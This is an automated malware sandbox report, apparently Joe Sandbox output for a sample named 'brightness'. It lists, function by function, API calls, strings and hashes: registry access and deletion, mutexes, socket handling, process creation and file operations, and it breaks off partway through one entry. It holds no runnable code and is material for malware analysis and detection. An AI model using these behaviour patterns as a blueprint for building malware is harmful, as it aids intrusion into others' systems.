Opcode ID: 75d9d09ab57801b2d0d19b1a43bdff5741af0fe92a04648c8193fb0028463d2d
Instruction ID: f2c541af97b7f7a19c23e2753a7876a0f4f00d139e83a8fdbca417538f53af98
Opcode Fuzzy Hash: 75d9d09ab57801b2d0d19b1a43bdff5741af0fe92a04648c8193fb0028463d2d
Instruction Fuzzy Hash: 95023A719202199BEB24CF54CC89FADB7B8BF48310F10829DE219A7291DBB15ED5CF61

Function 002C97A0 Relevance: 42.3, APIs: 21, Strings: 3, Instructions: 296registrymemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002C9811
StrStrIW.SHLWAPI(00000000,.DLL), ref: 002C983B
_memset.LIBCMT ref: 002C985D
__snwprintf.LIBCMT ref: 002C987B
RegGetValueW.ADVAPI32(80000001,?,00000000,00000008,00000000,00000000,00000000), ref: 002C98AA
LocalAlloc.KERNEL32(00000040,?), ref: 002C98DA
RegGetValueW.ADVAPI32(80000001,?,00000000,00000008,00000000,00000000,00000000), ref: 002C9915

Strings

.DLL, xrefs: 002C9832
SOFTWARE\%s, xrefs: 002C986A
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 002C9865

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: AllocLocalValue$__snwprintf_memset
String ID: .DLL$SOFTWARE\%s${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 2213916359-2113507201
Opcode ID: 47ff1c2c89e3ef10d39195250d179814b0e9dc8167c773b42a84ecf770e56670
Instruction ID: 4e4222bca0a3a791bf4025b1aec4f746863f9a6173f59da054460102a1c322a2
Opcode Fuzzy Hash: 47ff1c2c89e3ef10d39195250d179814b0e9dc8167c773b42a84ecf770e56670
Instruction Fuzzy Hash: EFD14B75A102189FDB24DF64DC8DFAAB7B9AF48304F1086D9E509AB280DB709E90CF51

Function 002D2F20 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 130sleepregistrymemoryCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00100002,00000000,{89E23A13-ADB8-48F9-89AD-99D84326EACC}), ref: 002D2F3F
SetEvent.KERNEL32(00000000), ref: 002D2F5B
CloseHandle.KERNEL32(00000000), ref: 002D2F68
OpenMutexW.KERNEL32(00100000,00000000,{03BAFAB9-0901-490D-BDFD-DD24348C9754}), ref: 002D2F84
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002D2FA2
CloseHandle.KERNEL32(00000000), ref: 002D2FAF
SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002D2FC5
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D2FDA
__snwprintf.LIBCMT ref: 002D301F
_memset.LIBCMT ref: 002D306A
GetFileAttributesW.KERNEL32(00000000), ref: 002D30A5
SHFileOperationW.SHELL32(?), ref: 002D30C2
Sleep.KERNEL32(000003E8), ref: 002D30E2
LocalFree.KERNEL32(00000000), ref: 002D30F1
CoTaskMemFree.COMBASE(?), ref: 002D30FE
wnsprintfW.SHLWAPI ref: 002D312E
RegDeleteKeyExW.ADVAPI32(80000001,?,00000000,00000000), ref: 002D3147

Strings

{F426FD4B-D793-489C-A145-1AC9C93BEC2C}, xrefs: 002D3118
Software\%s, xrefs: 002D311D
%s\%s, xrefs: 002D300E
{89E23A13-ADB8-48F9-89AD-99D84326EACC}, xrefs: 002D2F33
{03BAFAB9-0901-490D-BDFD-DD24348C9754}, xrefs: 002D2F78
{1CE845D2-E0E7-4DD2-9EC6-9361F58A558D}, xrefs: 002D3002

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseEventFileFreeHandleLocalOpen$AllocAttributesDeleteFolderKnownMutexObjectOperationPathSingleSleepTaskWait__snwprintf_memsetwnsprintf
String ID: %s\%s$Software\%s${03BAFAB9-0901-490D-BDFD-DD24348C9754}${1CE845D2-E0E7-4DD2-9EC6-9361F58A558D}${89E23A13-ADB8-48F9-89AD-99D84326EACC}${F426FD4B-D793-489C-A145-1AC9C93BEC2C}
API String ID: 1270944335-3564217188
Opcode ID: d272be32c569528cdd77104f9287e35b450ef1ff3a0ca534445b403aee612bc8
Instruction ID: 8bc633633804922924757324942d748491fb30bebef01785e34107bd3f9ec783
Opcode Fuzzy Hash: d272be32c569528cdd77104f9287e35b450ef1ff3a0ca534445b403aee612bc8
Instruction Fuzzy Hash: 9F517B70E182589BDB61DB20CC89BA9B778FF48701F4040DAF50DB6290DBB86E94CF51

Function 002D9D60 Relevance: 38.8, APIs: 13, Strings: 9, Instructions: 278COMMON

Download Yara Rule

Strings

$o/Xo/, xrefs: 002D9FBB, 002D9FBE
NTDLL.DLL, xrefs: 002D9DF6
HEAD, xrefs: 002D9FC7
RtlTimeToSecondsSince1970, xrefs: 002D9E0E
$o/Xo/, xrefs: 002D9EE1, 002D9EE4
application/octet-stream, xrefs: 002D9D69
text/plain, xrefs: 002D9D70
<, xrefs: 002D9EAF
Xo/, xrefs: 002D9DD9

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID: $o/Xo/$$o/Xo/$<$HEAD$NTDLL.DLL$RtlTimeToSecondsSince1970$Xo/$application/octet-stream$text/plain
API String ID: 0-3337284598
Opcode ID: 69211f3becab0ebdf70384d59cafd86b447543bbeb98526b9e4c84444b36aa53
Instruction ID: 42663443b3862f43f9287dd97feff1733ed4ed2b21e62a16a2491e949271ca0b
Opcode Fuzzy Hash: 69211f3becab0ebdf70384d59cafd86b447543bbeb98526b9e4c84444b36aa53
Instruction Fuzzy Hash: 43C1FA71A10218DFDB64DFA4DC89FAEBBB9BF48304F108559F609AB280D7749984CF51

Function 002CE110 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 149memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002CE187
SetEvent.KERNEL32(00000000), ref: 002CE1D8
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CE1E5
wnsprintfW.SHLWAPI ref: 002CE242
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CE252
wnsprintfW.SHLWAPI ref: 002CE284
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 002CE2CB
LocalFree.KERNEL32(00000000), ref: 002CE2DE
LocalFree.KERNEL32(00000000), ref: 002CE2EB
LocalFree.KERNEL32(00000000), ref: 002CE2F8
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002CE30A
SetEvent.KERNEL32(00000000), ref: 002CE31D
CloseHandle.KERNEL32(00000000), ref: 002CE327
shutdown.WS2_32(?,00000002), ref: 002CE333
closesocket.WS2_32(?), ref: 002CE33D

Part of subcall function 002CB6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 002CB701
Part of subcall function 002CB6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CB724
Part of subcall function 002CB6D0: __snwprintf.LIBCMT ref: 002CB74E
Part of subcall function 002CB6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 002CB773
Part of subcall function 002CB6D0: GetLastError.KERNEL32 ref: 002CB77C
Part of subcall function 002CB6D0: LocalFree.KERNEL32(00000000), ref: 002CB7FC
Part of subcall function 002CB6D0: LocalFree.KERNEL32(00000000), ref: 002CB806

Strings

{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 002CE267
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002CE2FE
%s%s, xrefs: 002CE231
D, xrefs: 002CE29E
"%s" %s, xrefs: 002CE273

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateEvent$wnsprintf$CloseDirectoryErrorFileHandleLastOpenProcess__snwprintfclosesocketsetsockoptshutdown
String ID: "%s" %s$%s%s$D${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 1361240531-3092484080
Opcode ID: 081c97f3b68cc15f0d6c65eb9b30954ce0083d074b7b8f8ce3766b2db1e7cddc
Instruction ID: a834dfb6bbb3d0a0a9d58fb0a60e547265c57f8fa761a17850fdcd07924d04f3
Opcode Fuzzy Hash: 081c97f3b68cc15f0d6c65eb9b30954ce0083d074b7b8f8ce3766b2db1e7cddc
Instruction Fuzzy Hash: E4518CB1A10219AFDB21DFA4DC89FADB778FB48701F1041A8F609A7291DBB45984CF51

Function 002D9750 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 369COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 002D9759
GET, xrefs: 002D99A3
text/plain, xrefs: 002D9760
<, xrefs: 002D988B

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID: <$GET$application/octet-stream$text/plain
API String ID: 0-1326944966
Opcode ID: 8a40d2fd74031cbd73a21415b7ed9f81ff11d87f2471f189db8c6ea79b14223d
Instruction ID: 74cc473295037cd31d01e80aa2e308d8d13b7c2503b5c1818894ba49f7c6bf56
Opcode Fuzzy Hash: 8a40d2fd74031cbd73a21415b7ed9f81ff11d87f2471f189db8c6ea79b14223d
Instruction Fuzzy Hash: C7F10CB0A20219DFDB54CFA4DD89BADB7B5BB48304F10859AF509AB380DB749D94CF50

Function 002D3160 Relevance: 33.3, APIs: 13, Strings: 6, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,002D5BA8), ref: 002D317A
